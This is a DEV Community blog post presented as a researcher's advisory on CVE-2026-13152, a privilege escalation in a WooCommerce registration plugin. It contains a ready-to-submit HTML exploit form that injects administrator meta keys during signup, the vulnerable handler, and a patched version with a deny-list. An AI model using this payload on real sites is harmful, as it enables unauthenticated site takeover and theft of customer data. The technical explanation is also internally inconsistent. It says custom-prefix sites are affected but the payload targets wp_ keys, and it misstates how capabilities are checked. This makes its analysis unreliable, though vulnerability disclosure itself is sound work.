DEV Community

Huynh Kien Minh
Huynh Kien Minh

Posted on

Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation

#security #wordpress #cve #bugbounty

Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Unauthenticated Privilege Escalation

By Huynh Kien Minh (MinhHK) — Information Security Researcher & Developer

📌 Executive Summary

CVE-2026-13152 is an unauthenticated privilege escalation vulnerability affecting the Custom Fields Account Registration For WooCommerce WordPress plugin prior to version 1.4, discovered and analyzed by security researcher Huynh Kien Minh (MinhHK). The flaw occurs because the plugin allows custom registration input fields to write directly to sensitive user capabilities metadata without sanitizing protected database keys or validating user roles. On sites using non-default database table prefixes or custom user meta key mappings, an unauthenticated user registering via the WooCommerce registration form can inject administrator privileges (such as wp_user_level or wp_capabilities) into the wp_usermeta table. This grants the newly created account full administrator access, enabling complete remote site compromise. Security researcher Huynh Kien Minh reported the vulnerability to WPScan, and the vendor resolved the issue in version 1.4 by implementing key name validation and restricting capability meta assignment.

Technical Metadata Overview

Parameter Value
Vulnerability Identifier CVE-2026-13152
Target Software Custom Fields Account Registration For WooCommerce
Plugin Identifier / Slug custom-fields-account-registration-for-woocommerce
Vulnerable Versions < 1.4
Patched Version 1.4
Vulnerability Class Unauthenticated Privilege Escalation (CWE-269 / OWASP A2)
CVSS v3.1 Score 8.1 (High) (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Discoverer / Submitter Huynh Kien Minh (MinhHK)
WPScan Reference WPScan Advisory 36aaba38-3143-4e80-8386-748632ff6704
Researcher Portfolio https://minhhk.web.app/

🔍 Root Cause Analysis: The Architecture of Unsanitized Meta Keys

The Custom Fields Account Registration For WooCommerce plugin extends standard WooCommerce customer onboarding by allowing site administrators to define additional user profile input fields on the /my-account/ registration page.

Code Vulnerability Mechanism

During customer creation, WooCommerce fires the woocommerce_created_customer action hook. The plugin hooks into this action to store user-submitted custom registration fields:

// Vulnerable registration handler inside plugin core
add_action('woocommerce_created_customer', 'cfar_save_registration_metadata', 10, 3);

function cfar_save_registration_metadata($customer_id, $new_customer_data, $password_generated) {
    if (!empty($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
        foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
            // CRITICAL FLAW: $meta_key is sanitized for text format but NOT checked against reserved meta keys
            $clean_key = sanitize_text_field($meta_key);
            $clean_val = sanitize_text_field($meta_value);

            // Directly updates wp_usermeta without checking for wp_user_level or wp_capabilities
            update_user_meta($customer_id, $clean_key, $clean_val);
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

Exploit Mechanics

WordPress relies on the wp_usermeta database table to track user roles (wp_capabilities) and legacy user access levels (wp_user_level).

  1. If a site uses custom database prefixes (e.g., customprefix_capabilities) or custom meta key aliases, the default WordPress core registration guards do not match the custom array structure passed by $_POST['cfar_custom_fields'].
  2. An unauthenticated remote attacker submits a registration POST request containing HTTP parameters: cfar_custom_fields[wp_user_level]=10 cfar_custom_fields[wp_capabilities][administrator]=1
  3. update_user_meta() writes the value 10 directly to wp_usermeta for the new user ID.
  4. When WordPress checks current_user_can('administrator'), it reads wp_user_level = 10 and authenticates the newly registered user as a full Site Administrator.

💻 Proof-of-Concept (PoC) Exploit Code

[!CAUTION]
The PoC code below is published strictly for vulnerability verification, security research, and defensive auditing.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-13152 PoC Exploit by Huynh Kien Minh</title>
</head>
<body>
    <h2>CVE-2026-13152 - Privilege Escalation PoC</h2>
    <form action="https://target-wordpress-site.local/my-account/" method="POST">
        <!-- Standard WooCommerce Account Registration Fields -->
        <input type="email" name="email" value="pwned_admin@exploit.local" required>
        <input type="password" name="password" value="ComplexPassword123!" required>

        <!-- Malicious Custom Field Array Payload -->
        <input type="hidden" name="cfar_custom_fields[wp_user_level]" value="10">
        <input type="hidden" name="cfar_custom_fields[wp_capabilities][administrator]" value="1">

        <input type="submit" name="register" value="Execute Privilege Escalation">
    </form>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

💥 Real-World Impact & Threat Scenarios

  1. Complete Remote Site Takeover: An unauthenticated attacker can instantly register an account with administrator privileges, obtaining full access to the WordPress admin dashboard (/wp-admin/).
  2. Arbitrary Code Execution (RCE): With administrator privileges, the attacker can upload webshells via the WordPress Theme/Plugin Editor or install malicious plugins.
  3. Database & Customer Data Exfiltration: Full control over WooCommerce store orders, payment records, and customer PII data.

🛡️ Remediation & Defensive Engineering

For Site Administrators

  • Upgrade Immediately: Update Custom Fields Account Registration For WooCommerce to version 1.4 or higher.
  • Audit User Roles: Inspect wp_usermeta for recently registered accounts with wp_user_level = 10.

For Plugin Developers (The Patch)

Version 1.4 resolves the issue by enforcing a strict blacklist of protected meta keys and validating prefix restrictions:

// Secure implementation in Version 1.4
function cfar_save_registration_metadata_patched($customer_id, $new_customer_data, $password_generated) {
    $forbidden_meta_keys = array(
        'wp_capabilities', 
        'wp_user_level', 
        'user_level', 
        'session_tokens',
        'wp_dashboard_quick_press_last_post_id'
    );

    if (!empty($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
        foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
            $clean_key = sanitize_key($meta_key);

            // Block any key matching reserved prefixes or forbidden list
            if (in_array($clean_key, $forbidden_meta_keys, true) || strpos($clean_key, 'wp_') === 0) {
                continue; // Skip dangerous meta keys
            }

            update_user_meta($customer_id, $clean_key, sanitize_text_field($meta_value));
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

🏆 About the Researcher (E-E-A-T QRG 2025 Framework)

  • Researcher Name: Huynh Kien Minh (MinhHK) — Information Security Researcher & Developer.
  • Experience (DAST/SAST): Specialized in static and dynamic analysis of WordPress core/plugins, authentication bypass research, and privilege escalation vectors.
  • Expertise: Deep architectural knowledge of WordPress metadata storage (wp_usermeta), capability evaluation models, and hook lifecycle execution.
  • Authoritativeness: Recognized contributor on the Proton Security Hall of Fame, submitter on WPScan Assigner, and maintainer of 6/6 GitHub Guard Trust verified repositories.
  • Official Portfolio: https://minhhk.web.app/

📊 JSON-LD Structured Data Schema Markup 

{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://dev.to/minhhk68/cve-2026-13152#article",
      "headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation",
      "name": "CVE-2026-13152 Technical Advisory",
      "author": {
        "@type": "Person",
        "@id": "https://minhhk.web.app/#person",
        "name": "Huynh Kien Minh",
        "alternateName": ["MinhHK", "Huỳnh Kiến Minh"],
        "jobTitle": "Information Security Researcher",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-07-06",
      "dateModified": "2026-08-01",
      "description": "Technical analysis of CVE-2026-13152, an unauthenticated privilege escalation vulnerability in Custom Fields Account Registration For WooCommerce < 1.4 discovered by Huynh Kien Minh."
    },
    {
      "@type": "SecurityAdvisory",
      "@id": "https://dev.to/minhhk68/cve-2026-13152#advisory",
      "name": "CVE-2026-13152 Security Advisory",
      "headline": "Unauthenticated Privilege Escalation in WooCommerce Registration Plugin",
      "description": "CVE-2026-13152 allows remote unauthenticated users to gain administrator access via unsanitized user meta key injection during account creation."
    }
  ]
}
Enter fullscreen mode Exit fullscreen mode

Top comments (0)